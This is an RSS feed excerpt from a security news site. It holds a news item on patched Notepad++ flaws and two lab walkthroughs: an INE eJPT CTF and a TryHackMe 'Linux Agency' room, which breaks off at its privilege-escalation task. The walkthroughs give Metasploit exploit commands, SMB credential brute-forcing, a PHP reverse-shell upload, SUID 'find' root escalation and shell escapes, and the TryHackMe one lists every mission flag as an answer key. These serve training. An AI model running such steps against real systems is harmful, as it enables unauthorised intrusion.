<p class="wp-block-paragraph">This could become confusing for Meta internally as well. Building a true cloud business demands focus. It demands years of investment in areas that may not be glamorous but are absolutely necessary, such as governance, operations, controls, support frameworks, partner programs, and enterprise sales alignment. If the company is not willing to make those sacrifices fully and for the long term, the initiative will struggle.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Critical Notepad++ Bugs Could Lead to Code Execution, Patch Available]]></title>
<description><![CDATA[The latest Notepad++ vulnerabilities addressed in version 8.9.7 include several high-impact security flaws that could expose Windows systems to arbitrary code execution, file overwrite attacks, memory corruption, and authentication bypass.  

Among the most critical issues is a PowerShell comma...]]></description>
<link>https://tsecurity.de/de/3675513/it-security-nachrichten/critical-notepad-bugs-could-lead-to-code-execution-patch-available/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675513/it-security-nachrichten/critical-notepad-bugs-could-lead-to-code-execution-patch-available/</guid>
<pubDate>Fri, 17 Jul 2026 10:54:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1101" height="614" src="https://thecyberexpress.com/wp-content/uploads/Notepad-vulnerabilities.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Notepad++ vulnerabilities" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Notepad-vulnerabilities.webp 1101w, https://thecyberexpress.com/wp-content/uploads/Notepad-vulnerabilities-300x167.webp 300w, https://thecyberexpress.com/wp-content/uploads/Notepad-vulnerabilities-1024x571.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Notepad-vulnerabilities-768x428.webp 768w, https://thecyberexpress.com/wp-content/uploads/Notepad-vulnerabilities-600x335.webp 600w, https://thecyberexpress.com/wp-content/uploads/Notepad-vulnerabilities-150x84.webp 150w, https://thecyberexpress.com/wp-content/uploads/Notepad-vulnerabilities-750x418.webp 750w, https://thecyberexpress.com/wp-content/uploads/Notepad-vulnerabilities.webp 1101w, https://thecyberexpress.com/wp-content/uploads/Notepad-vulnerabilities-300x167.webp 300w, https://thecyberexpress.com/wp-content/uploads/Notepad-vulnerabilities-1024x571.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Notepad-vulnerabilities-768x428.webp 768w, https://thecyberexpress.com/wp-content/uploads/Notepad-vulnerabilities-600x335.webp 600w, https://thecyberexpress.com/wp-content/uploads/Notepad-vulnerabilities-150x84.webp 150w, https://thecyberexpress.com/wp-content/uploads/Notepad-vulnerabilities-750x418.webp 750w" sizes="(max-width: 1101px) 100vw, 1101px" title="Critical Notepad++ Bugs Could Lead to Code Execution, Patch Available 1"></p><span data-contrast="auto">The latest Notepad++ vulnerabilities addressed in version 8.9.7 include several high-impact security flaws that could expose Windows systems to arbitrary code execution, file overwrite attacks, memory corruption, and authentication bypass. </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Among the most critical issues is a PowerShell command injection vulnerability in the installer, alongside fixes for CVE-2026-52886, CVE-2026-54758, and CVE-2026-57233. The release also delivers stability improvements and feature enhancements for one of the most widely used text editors on Windows.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">PowerShell Command Injection Tops the List of Notepad++ Vulnerabilities</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The most severe Notepad++ <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="29010">vulnerability</a> involves improper handling of PowerShell commands during installation. According to the <a href="https://community.notepad-plus-plus.org/topic/27604/notepad-release-8.9.7" target="_blank" rel="nofollow noopener">developers</a>, the installer has been updated to improve the robustness of PowerShell command processing, reducing the risk of command injection and unauthorized command execution.</span>

<span data-contrast="auto">If exploited, the flaw could allow attackers to manipulate the installation process and execute arbitrary <a href="https://thecyberexpress.com/new-powershell-campaign/" target="_blank" rel="noopener">PowerShell</a> commands. In practical scenarios, a compromised installer distributed through spoofed download sources or <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-social-engineering/" target="_blank" rel="noopener" title="social engineering" data-wpil-keyword-link="linked" data-wpil-monitor-id="29009">social engineering</a> campaigns could enable malware deployment during installation, potentially leading to complete system compromise without the user's knowledge.</span>
<h3 aria-level="2"><b><span data-contrast="none">CVE-2026-52886, CVE-2026-54758, and CVE-2026-57233 Address Critical Risks</span></b></h3>
<span data-contrast="auto">In addition to the installer flaw, the update resolves several other <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29011">security</a> issues across different components. CVE-2026-54758 addresses a stack buffer overflow in the </span><span data-contrast="auto">expandNppEnvironmentStrs</span><span data-contrast="auto"> function that could result in memory corruption and potentially <a href="https://thecyberexpress.com/new-powershell-campaign/" target="_blank" rel="noopener">remote code execution</a>. Meanwhile, CVE-2026-57233 fixes a Zip Slip path traversal vulnerability in the WinGUp updater, preventing attackers from overwriting arbitrary files during the update extraction process.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Another patched issue, CVE-2026-52886, fixes a session handling flaw where manipulated </span><span data-contrast="auto">session.xml</span><span data-contrast="auto"> entries could bypass path validation through the </span><span data-contrast="auto">backupFilePath starts_with</span><span data-contrast="auto"> check. The release also resolves an unassigned vulnerability affecting the macro system, where </span><span data-contrast="auto">shortcuts.xml</span><span data-contrast="auto"> allowed macro execution without proper HMAC verification, creating an integrity bypass that could enable unauthorized macro execution.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Collectively, these Notepad++ <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="29012">vulnerabilities</a> demonstrate how installers, local configuration files, session management, update mechanisms, and macro validation can become attack vectors if not adequately protected.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Notepad++ v8.9.7 Brings Stability Improvements Alongside Security Fixes</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Beyond addressing Notepad++ vulnerabilities, version 8.9.7 introduces several usability and stability improvements. Users can now retain the expand and collapse state within "Folder as Workspace," while Incremental Search has been enhanced with count and nth-position indicators. The update also fixes crashes, user interface <a href="https://thecyberexpress.com/cve-2026-45829-chromatoast-chromadb/" target="_blank" rel="noopener">glitches</a>, high-DPI scaling issues, symbolic link freezes, file handling inconsistencies, and search performance problems. Additionally, bundled components have been updated to Scintilla 5.6.4, Lexilla 5.5.1, and pugixml 1.16.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">The Notepad++ team recommends that users update to version 8.9.7 as soon as possible, particularly in enterprise and development environments where the editor processes untrusted files or operates within automated workflows. Although the auto-updater is expected to roll out the release within two weeks, provided no regressions are detected, manual installation is recommended for immediate protection. </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Developers are also encouraged to verify download sources, as keeping software updated and installing packages only from trusted locations remains an essential safeguard against exploitation of CVE-2026-52886, CVE-2026-54758, CVE-2026-57233, and other Notepad++ vulnerabilities.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Host & Network Penetration Testing: Exploitation CTF 3 — eJPT (INE)]]></title>
<description><![CDATA[A walkthrough covering ProFTPD mod_copy exploitation, local service banner grabbing, SMB brute-force with webshell upload, and SUID binary privilege escalation to capture all four flags.Hello everyone!In this blog, I’ll walk through Exploitation CTF 3 from INE’s eJPT path. Two Linux targets this ...]]></description>
<link>https://tsecurity.de/de/3675299/hacking/host-network-penetration-testing-exploitation-ctf-3-ejpt-ine/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675299/hacking/host-network-penetration-testing-exploitation-ctf-3-ejpt-ine/</guid>
<pubDate>Fri, 17 Jul 2026 09:09:39 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4><em>A walkthrough covering ProFTPD mod_copy exploitation, local service banner grabbing, SMB brute-force with webshell upload, and SUID binary privilege escalation to capture all four flags.</em></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*87U4fyepLVSRM9bGtqmnbQ.png"></figure><p>Hello everyone!</p><p>In this blog, I’ll walk through Exploitation CTF 3 from INE’s eJPT path. Two Linux targets this time — one running a vulnerable FTP service with a hidden local service, and another with a misconfigured Samba share that opens a path all the way to root.</p><p>So, let’s dive in.</p><h3>Q. A vulnerable service may be running on target1.ine.local. If exploitable, retrieve the flag from the root directory.</h3><p>As usual, I started with an Nmap scan:</p><pre>nmap -sV -sC target1.ine.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0esbkOoRoB_2RtbiA5RC5A.png"></figure><p>Port 21 was open running <strong>ProFTPD 1.3.5</strong>, alongside port 80 (Apache). I searched for known exploits:</p><pre>searchsploit ProFTPD 1.3.5</pre><p>A Metasploit module came up immediately — exploit/unix/ftp/proftpd_modcopy_exec, which abuses the mod_copy module to execute arbitrary commands via FTP. I loaded it up and set the site path to /var/www/html — the default Apache web root on Linux — since the exploit writes a payload there to be triggered over HTTP:</p><pre>use exploit/unix/ftp/proftpd_modcopy_exec<br>set rhosts target1.ine.local<br>set sitepath /var/www/html<br>set lhost eth1<br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K2zB3Wo4YD4eFRiTKACYgA.png"></figure><p>A shell session opened. I upgraded it to Meterpreter:</p><pre>sessions -u 1</pre><p>Then listed the root directory:</p><pre>meterpreter &gt; ls /</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*iCgXij4caoCW23EhRWepQg.png"></figure><p>flag1.txt was sitting right there in the root.</p><h3>Q. Further, a quick interaction with a local network service on target1.ine.local may reveal this flag. Use the hint given in the previous flag.</h3><p>I read the flag file:</p><pre>meterpreter &gt; cat /flag1.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*v3_wdlMA0-lFjjny7xr6og.png"></figure><p>Along with the flag value, it contained a hint: <em>“Remember, the magical word is ‘letmein’”</em>.</p><p>The question mentioned a local network service, so I checked what was listening internally:</p><pre>meterpreter &gt; netstat</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YTpn4VegwuC0aysg0ZpMQg.png"></figure><p>Port <strong>8888</strong> was open on 127.0.0.1 — not exposed externally, only reachable from inside the machine. I dropped into a shell and connected to it with netcat:</p><pre>meterpreter &gt; shell<br>nc -nv 127.0.0.1 8888</pre><p>It prompted for a secret passphrase. I entered letmein — and it returned Flag 2 directly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-KgH6U6iOXZPUsuKXWyhwQ.png"></figure><h3>Q. A misconfigured service running on target2.ine.local may help you gain access to the machine. Can you retrieve the flag from the root directory?</h3><p>Fresh Nmap scan on the second target:</p><pre>nmap -sV -sC target2.ine.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d4jYtDskVIXurPFFNQhNwg.png"></figure><p>Ports 80, 139, and 445 were open — Samba running on a Linux target. The HTTP title read <em>“Can you Pwn me?”</em> — a clear invitation. I brute-forced SMB credentials across both users and passwords:</p><pre>use auxiliary/scanner/smb/smb_login<br>set rhosts target2.ine.local<br>set user_file /usr/share/wordlists/metasploit/common_users.txt<br>set pass_file /usr/share/wordlists/metasploit/unix_passwords.txt<br>set createsession true<br>set verbose false<br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PKSOkZ__Hrp-fpVWGLqkqg.png"></figure><p>Six accounts came back with valid credentials, all with the same password. Multiple SMB sessions opened automatically. I used the administrator session:</p><pre>sessions 8<br>shares<br>shares -i site-uploads<br>ls</pre><p>The site-uploads share was accessible and writable. The name itself was the giveaway — this share was almost certainly mapped to the web root. I uploaded a PHP reverse shell set to my IP:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i_lZOr4nmUqskbA6wbXWoA.png"></figure><p>Set up a multi/handler listener, then triggered the shell by navigating to:</p><pre>http://target2.ine.local/site-uploads/shell.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lh-O23_XLKJK5Dze3TSp6w.png"></figure><p>Shell came back. Listing the root / directory showed flag3.txt right there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*vC0LfSf5aZCHXWm74C4cCA.png"></figure><h3>Q. Can you escalate to root on target2.ine.local and read the flag from the restricted /root directory?</h3><p>Still in the shell session, I upgraded to Meterpreter first:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Meqrnjx574wtEQjF1akclQ.png"></figure><p>Then dropped into a shell and searched for SUID binaries — files that run with the owner’s privileges regardless of who executes them:</p><pre>find / -type f -perm -4000 2&gt;/dev/null</pre><p>/usr/bin/find itself had the SUID bit set and was owned by root. This is a classic privilege escalation vector — if find runs as root and can execute commands, any user can spawn a root shell through it.</p><p>I checked <a href="https://gtfobins.org/">GTFOBins</a> — a community database of Unix binaries that can be abused to bypass local security restrictions — for the correct syntax:</p><pre>find . -exec /bin/sh -p \; -quit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iCjLaASM-_9QRWRipFiEFA.png"></figure><p>whoami returned root. Flag 4 was in /root.</p><h3>Final Thoughts</h3><p>Two techniques in this CTF are worth remembering beyond the lab.</p><p>The hidden port 8888 on target1 is a reminder that netstat inside a session reveals far more than an external Nmap scan ever will — internal services are invisible from outside and often completely unprotected because of it. Always check what's listening locally once you have a foothold.</p><p>The SUID find escalation on target2 is a textbook GTFOBins vector. The lesson isn't just about find specifically — it's about building the habit of checking for SUID binaries early in post-exploitation. And GTFOBins is the resource to bookmark: if a binary is on that list and has SUID, you likely have a path to root.</p><p>Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=9815c8abdfcb" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/host-network-penetration-testing-exploitation-ctf-3-ejpt-ine-9815c8abdfcb">Host &amp; Network Penetration Testing: Exploitation CTF 3 — eJPT (INE)</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[TryHackMe — Linux Agency | Complete Write-Up & Walkthrough]]></title>
<description><![CDATA[“Agent 47, your mission begins. 30 targets stand between you and the root.”Author: Shikhali JamalzadeGitHub: github.com/alisaliveLinkedIn: linkedin.com/in/camalzads📋 Room OverviewPlatform TryHackMe Room Name Linux Agency Link https://tryhackme.com/room/linuxagency Difficulty Medium Category Linux...]]></description>
<link>https://tsecurity.de/de/3675298/hacking/tryhackme-linux-agency-complete-write-up-walkthrough/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675298/hacking/tryhackme-linux-agency-complete-write-up-walkthrough/</guid>
<pubDate>Fri, 17 Jul 2026 09:09:38 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KSkSbmZiLuuvwoZUpWjb2w.png"></figure><blockquote>“Agent 47, your mission begins. 30 targets stand between you and the root.”<br>Author: <a href="https://medium.com/u/20557ba7487d">Shikhali Jamalzade</a><br>GitHub<strong>:</strong> <a href="https://github.com/alisalive">github.com/alisalive</a><br>LinkedIn<strong>:</strong> <a href="https://linkedin.com/in/camalzads">linkedin.com/in/camalzads</a></blockquote><h3>📋 Room Overview</h3><p><strong>Platform</strong> TryHackMe <br><strong>Room Name</strong> Linux Agency <br><strong>Link</strong> <a href="https://tryhackme.com/room/linuxagency">https://tryhackme.com/room/linuxagency</a> <br><strong>Difficulty</strong> Medium <br><strong>Category</strong> Linux Fundamentals + Privilege Escalation <br><strong>Initial Access</strong> SSH (agent47)</p><h3>🎯 About This Room</h3><p><strong>Linux Agency</strong> is one of the most comprehensive Linux-focused rooms on TryHackMe. You play the role of <strong>Agent 47</strong> — a secret agent tasked with infiltrating the ICA Agency, chaining through <strong>30 mission accounts</strong>, eliminating special targets, and ultimately achieving <strong>root</strong>.</p><p>This room goes far beyond basic Linux commands — it forces you to think like a real penetration tester. Topics covered:</p><ul><li>🐧 Deep Linux fundamentals (hidden files, permissions, environment variables)</li><li>💻 Multiple programming languages (Python, Ruby, Java, C)</li><li>🔐 Encoding/decoding (Base64, Binary, Hex)</li><li>📅 Cron job exploitation</li><li>⚡ Sudo privilege escalation via GTFOBins</li><li>🐳 Docker privilege escalation</li><li>🔑 SSH private key cracking</li></ul><h3>🛠️ Tools Used</h3><ul><li>ssh, su, find, grep, cat, ls, strings, file</li><li>base64, xxd</li><li>gcc, javac, java, python3, ruby</li><li>netcat (nc)</li><li>ssh2john + john (John the Ripper)</li><li>ss (socket statistics)</li><li>GTFOBins</li><li>Docker</li></ul><h3>⚙️ Setup</h3><p>Start the machine on TryHackMe and wait about a minute. Then connect:</p><pre>ssh agent47@&lt;MACHINE_IP&gt;</pre><p><strong>Password:</strong> 640509040147</p><p>Once connected you’ll see:</p><pre>agent47@linuxagency:~$</pre><p>The mission begins. 🚀</p><h3>🗂️ Task 2: Initial Access</h3><p>The room’s mechanic is straightforward:</p><ul><li>Every flag found acts as the <strong>password</strong> for the next user</li><li>Flag format: missionX{md5_hash}</li><li>Chain: agent47 → mission1 → mission2 → ... → mission30 → viktor → ...</li></ul><h3>🔍 Task 3: Linux Fundamentals (Mission 1–30 + Viktor)</h3><h3>🎯 Mission 1</h3><p>As <strong>agent47</strong>, the first task is finding mission1’s flag.</p><pre>find / -type f -name "*.txt" 2&gt;/dev/null<br># Or directly check:<br>ls /home/mission1/<br>cat /home/mission1/&lt;flag_file&gt;</pre><p>Now switch to mission1:</p><pre>su mission1<br># Password: mission1{174dc8f191bcbb161fe25f8a5b58d1f0}</pre><blockquote><strong>💡 What we learned:</strong><em> </em><em>find for filesystem-wide searching, understanding the </em><em>/home directory structure.</em></blockquote><h3>🎯 Mission 2</h3><p>As <strong>mission1</strong>:</p><pre>find / -type f -name "mission2" 2&gt;/dev/null<br>cat &lt;found_path&gt;</pre><pre>su mission2<br># Password: mission2{8a1b68bb11e4a35245061656b5b9fa0d}</pre><h3>🎯 Mission 3</h3><pre># As mission2:<br>grep -r "mission3" . 2&gt;/dev/null</pre><pre>su mission3<br># Password: mission3{ab1e1ae5cba688340825103f70b0f976}</pre><blockquote><strong>💡 What we learned:</strong><em> </em><em>grep -r for recursive content searching across directories.</em></blockquote><h3>🎯 Mission 4</h3><pre># As mission3:<br>cd /home/mission3<br>ls<br>cat flag.txt</pre><pre>su mission4<br># Password: mission4{264a7eeb920f80b3ee9665fafb7ff92d}</pre><h3>🎯 Missions 5–8</h3><p>These follow a similar pattern — searching the filesystem:</p><pre># As mission4:<br>grep -r "mission5" / 2&gt;/dev/null<br>su mission5<br># Password: mission5{bc67906710c3a376bcc7bd25978f62c0}</pre><pre># As mission5:<br>grep -r "mission6" / 2&gt;/dev/null<br>su mission6<br># Password: mission6{1fa67e1adc244b5c6ea711f0c9675fde}</pre><pre># As mission6:<br>grep -r "mission7" / 2&gt;/dev/null<br>su mission7<br># Password: mission7{53fd6b2bad6e85519c7403267225def5}</pre><pre># As mission7:<br>grep -r "mission8" / 2&gt;/dev/null<br>su mission8<br># Password: mission8{3bee25ebda7fe7dc0a9d2f481d10577b}</pre><h3>🎯 Mission 9</h3><pre># As mission8:<br>ls<br>cat flag.txt</pre><pre>su mission9<br># Password: mission9{ba1069363d182e1c114bef7521c898f5}</pre><h3>🎯 Missions 10–11</h3><pre># As mission9:<br>grep -r "mission10" / 2&gt;/dev/null<br>su mission10<br># Password: mission10{0c9d1c7c5683a1a29b05bb67856524b6}</pre><pre># As mission10:<br>grep -r "mission11" / 2&gt;/dev/null<br>su mission11<br># Password: mission11{db074d9b68f06246944b991d433180c0}</pre><h3>🎯 Mission 12 — Environment Variable</h3><p>This time the flag is hidden inside an <strong>environment variable</strong>, not a file!</p><pre># As mission11:<br>env | grep mission12</pre><pre>su mission12<br># Password: mission12{f449a1d33d6edc327354635967f9a720}</pre><blockquote><strong>💡 What we learned:</strong><em> The </em><em>env command lists all environment variables. In real-world pentesting, environment variables frequently contain credentials, API keys, and sensitive data — always check them!</em></blockquote><h3>🎯 Mission 13 — File Permissions</h3><pre># As mission12:<br>ls -la /home/mission12/<br># flag.txt exists but you have no read permission!<br>chmod 777 /home/mission12/flag.txt<br>cat /home/mission12/flag.txt</pre><pre>su mission13<br># Password: mission13{076124e360406b4c98ecefddd13ddb1f}</pre><blockquote><strong>💡 What we learned:</strong><em> Linux file permissions and </em><em>chmod. Always use </em><em>ls -la — the </em><em>-a flag reveals hidden files and the </em><em>-l flag shows permissions clearly.</em></blockquote><h3>🎯 Mission 14 — Base64 Decode</h3><pre># As mission13:<br>cat /home/mission13/flag.txt | base64 -d</pre><pre>su mission14<br># Password: mission14{d598de95639514b9941507617b9e54d2}</pre><blockquote><strong>💡 What we learned:</strong><em> Base64 encoding/decoding. Strings ending with </em><em>= or </em><em>== are almost always Base64-encoded. The </em><em>base64 -d flag decodes them directly in the terminal.</em></blockquote><h3>🎯 Mission 15 — Binary → ASCII</h3><pre># As mission14:<br>cat /home/mission14/flag.txt<br># You'll see binary digits: 01101101 01101001 ...</pre><p>Convert the binary to ASCII using Python:</p><pre>python3 -c "<br>binary = '01101101 01101001 01110011 01110011 01101001 01101111 01101110 00110001 00110101'<br>chars = binary.split()<br>result = ''.join([chr(int(b, 2)) for b in chars])<br>print(result)<br>"</pre><p>Or use an online tool: <a href="https://www.rapidtables.com/convert/number/binary-to-ascii.html">https://www.rapidtables.com/convert/number/binary-to-ascii.html</a></p><pre>su mission15<br># Password: mission15{fc4915d818bfaeff01185c3547f25596}</pre><blockquote><strong>💡 What we learned:</strong><em> Binary → ASCII conversion. Recognizing encoding formats on sight is a key CTF skill.</em></blockquote><h3>🎯 Mission 16 — Hex → ASCII</h3><pre># As mission15:<br>cat /home/mission15/flag.txt | xxd -r -p</pre><p>xxd -r -p converts a raw hex string directly back to ASCII.</p><pre>su mission16<br># Password: mission16{884417d40033c4c2091b44d7c26a908e}</pre><blockquote><strong>💡 What we learned:</strong><em> Hex decoding. </em><em>xxd dumps hex (-p for plain hex), and with </em><em>-r it reverses the process.</em></blockquote><h3>🎯 Mission 17 — Execute Permission</h3><pre># As mission16:<br>ls -la /home/mission16/<br># There's a 'flag' binary but it has no execute permission<br>chmod u+x /home/mission16/flag<br>./flag</pre><pre>su mission17<br># Password: mission17{49f8d1348a1053e221dfe7ff99f5cbf4}</pre><h3>🎯 Mission 18 — Java</h3><pre># As mission17:<br>ls /home/mission17/<br># flag.java found<br>cd /home/mission17/<br>javac flag.java      # Compile<br>java flag            # Run</pre><pre>su mission18<br># Password: mission18{f09760649986b489cda320ab5f7917e8}</pre><blockquote><strong>💡 What we learned:</strong><em> Java compilation workflow: </em><em>javac compiles </em><em>.java → </em><em>.class, then </em><em>java runs the class.</em></blockquote><h3>🎯 Mission 19 — Ruby</h3><pre># As mission18:<br>ruby /home/mission18/flag.rb</pre><pre>su mission19<br># Password: mission19{a0bf41f56b3ac622d808f7a4385254b7}</pre><h3>🎯 Mission 20 — C Language</h3><pre># As mission19:<br>cd /home/mission19/<br>gcc flag.c -o flag   # Compile<br>./flag               # Run</pre><pre>su mission20<br># Password: mission20{b0482f9e90c8ad2421bf4353cd8eae1c}</pre><blockquote><strong>💡 What we learned:</strong><em> C compilation: </em><em>gcc source.c -o output_name then </em><em>./output_name to execute.</em></blockquote><h3>🎯 Mission 21 — Python</h3><pre># As mission20:<br>python3 /home/mission20/flag.py</pre><pre>su mission21<br># Password: mission21{7de756aabc528b446f6eb38419318f0c}</pre><h3>🎯 Mission 22 — Restricted Shell Escape (script)</h3><p>When you log in as <strong>mission21</strong>, you’re dropped into a restricted shell. Escape using:</p><pre>script -qc /bin/bash /dev/null</pre><p>This spawns a full bash shell. Now check .bashrc:</p><pre>cat ~/.bashrc<br># You'll find a Base64-encoded string<br>echo '&lt;base64_string&gt;' | base64 -d</pre><pre>su mission22<br># Password: mission22{24caa74eb0889ed6a2e6984b42d49aaf}</pre><blockquote><strong>💡 What we learned:</strong><em> Restricted shell escape using the </em><em>script command, which opens a new terminal session. Always check </em><em>.bashrc and </em><em>.bash_profile — attackers hide data there, and defenders do too.</em></blockquote><h3>🎯 Mission 23 — Python Interpreter Shell Escape</h3><p>Logging in as <strong>mission22</strong> drops you into a Python REPL. Escape to bash:</p><pre>import pty<br>pty.spawn("/bin/bash")</pre><p>Now read the flag:</p><pre>cat /home/mission22/flag.txt</pre><pre>su mission23<br># Password: mission23{3710b9cb185282e3f61d2fd8b1b4ffea}</pre><blockquote><strong>💡 What we learned:</strong><em> Python </em><em>pty.spawn() for shell escape — this is also a standard technique for upgrading dumb reverse shells to fully interactive TTYs in real engagements!</em></blockquote><h3>🎯 Mission 24 — Virtual Host + cURL</h3><pre># As mission23:<br>cat /home/mission23/message.txt<br>cat /etc/hosts<br># You'll see mission24.com mapped to 127.0.0.1<br>curl http://mission24.com -s | grep mission</pre><pre>su mission24<br># Password: mission24{dbaeb06591a7fd6230407df3a947b89c}</pre><blockquote><strong>💡 What we learned:</strong><em> Virtual hosting — the </em><em>/etc/hosts file acts as a local DNS resolver. In real engagements, always check </em><em>/etc/hosts for internal hostnames that reveal additional attack surface.</em></blockquote><h3>🎯 Mission 25 — Binary Analysis + viminfo</h3><pre># As mission24:<br>ls /home/mission24/<br>file bribe              # Check the file type<br>./bribe                 # Execute it — it writes to .viminfo<br>grep mission /home/mission24/.viminfo</pre><pre>su mission25<br># Password: mission25{61b93637881c87c71f220033b22a921b}</pre><blockquote><strong>💡 What we learned:</strong><em> The </em><em>file command identifies file types regardless of extension. </em><em>.viminfo is a hidden file storing Vim history — always run </em><em>ls -la to catch hidden files!</em></blockquote><h3>🎯 Mission 26 — PATH Manipulation</h3><p>Logging in as <strong>mission25</strong> gives you a broken environment — commands don’t work because $PATH is corrupted.</p><pre>echo $PATH<br># Empty or wrong PATH</pre><pre>export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin<br>ls -lhA<br>cat flag.txt</pre><pre>su mission26<br># Password: mission26{cb6ce977c16c57f509e9f8462a120f00}</pre><blockquote><strong>💡 What we learned:</strong><em> The </em><em>$PATH environment variable defines where the shell looks for executables. This concept is the foundation of PATH hijacking attacks — one of the most common Linux PrivEsc vectors.</em></blockquote><h3>🎯 Mission 27 — Steganography with strings</h3><pre># As mission26:<br>ls /home/mission26/<br>strings -n 20 /home/mission26/flag.jpg</pre><p>strings extracts human-readable strings from binary files. -n 20 filters results to strings of at least 20 characters.</p><pre>su mission27<br># Password: mission27{444d29b932124a48e7dddc0595788f4d}</pre><blockquote><strong>💡 What we learned:</strong><em> Basic steganography — data hidden inside image files. </em><em>strings is a quick first step when analyzing any binary or media file during a CTF or real engagement.</em></blockquote><h3>🎯 Mission 28 — Absurdly Long Filename</h3><pre># As mission27:<br>ls /home/mission27/<br>less flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png.gz</pre><p>Yes, the filename is exactly that long. less handles it fine.</p><pre>su mission28<br># Password: mission28{03556f8ca983ef4dc26d2055aef9770f}</pre><h3>🎯 Mission 29 — Ruby Interpreter + Reverse String</h3><p>Logging in as <strong>mission28</strong> drops you into a Ruby REPL.</p><p><strong>Option 1 — Escape to shell:</strong></p><pre>exec "/bin/bash"</pre><p><strong>Option 2 — Read the file directly from Ruby:</strong></p><pre>Dir.chdir("/home/mission28")<br>puts File.open("txt.galf").readlines</pre><p>The flag is written in reverse! You’ll see something like:</p><pre>'}1fff2ad47eb52e68523621b8d50b2918{92noissim'</pre><p>Reverse it:</p><pre>'}1fff2ad47eb52e68523621b8d50b2918{92noissim'.reverse</pre><pre>su mission29<br># Password: mission29{8192b05d8b12632586e25be74da2fff1}</pre><blockquote><strong>💡 What we learned:</strong><em> Ruby interpreter escape. String reversal is a common obfuscation technique in CTFs. Also notice the filename </em><em>txt.galf — that's </em><em>flag.txt reversed!</em></blockquote><h3>🎯 Mission 30 — Bludit CMS Enumeration</h3><pre># As mission29:<br>ls /home/mission29/<br>grep -rn "mission30" /home/mission29/bludit/</pre><p>The flag is buried inside Bludit CMS’s file structure.</p><pre>su mission30<br># Password: mission30{d25b4c9fac38411d2fcb4796171bda6e}</pre><h3>🎯 Viktor — Git History</h3><pre># As mission30:<br>ls /home/mission30/<br>cd /home/mission30/Escalator/<br>git --no-pager log</pre><p>Browse the git commit history — the flag is hidden in there.</p><pre>su viktor<br># Password: viktor{b52c60124c0f8f85fe647021122b3d9a}</pre><blockquote><strong>💡 What we learned:</strong><em> </em><em>git log reveals commit history. In real-world pentesting, exposed git repositories are a goldmine — credentials, API keys, and internal logic are frequently committed and never properly removed.</em></blockquote><h3>🔓 Task 4: Privilege 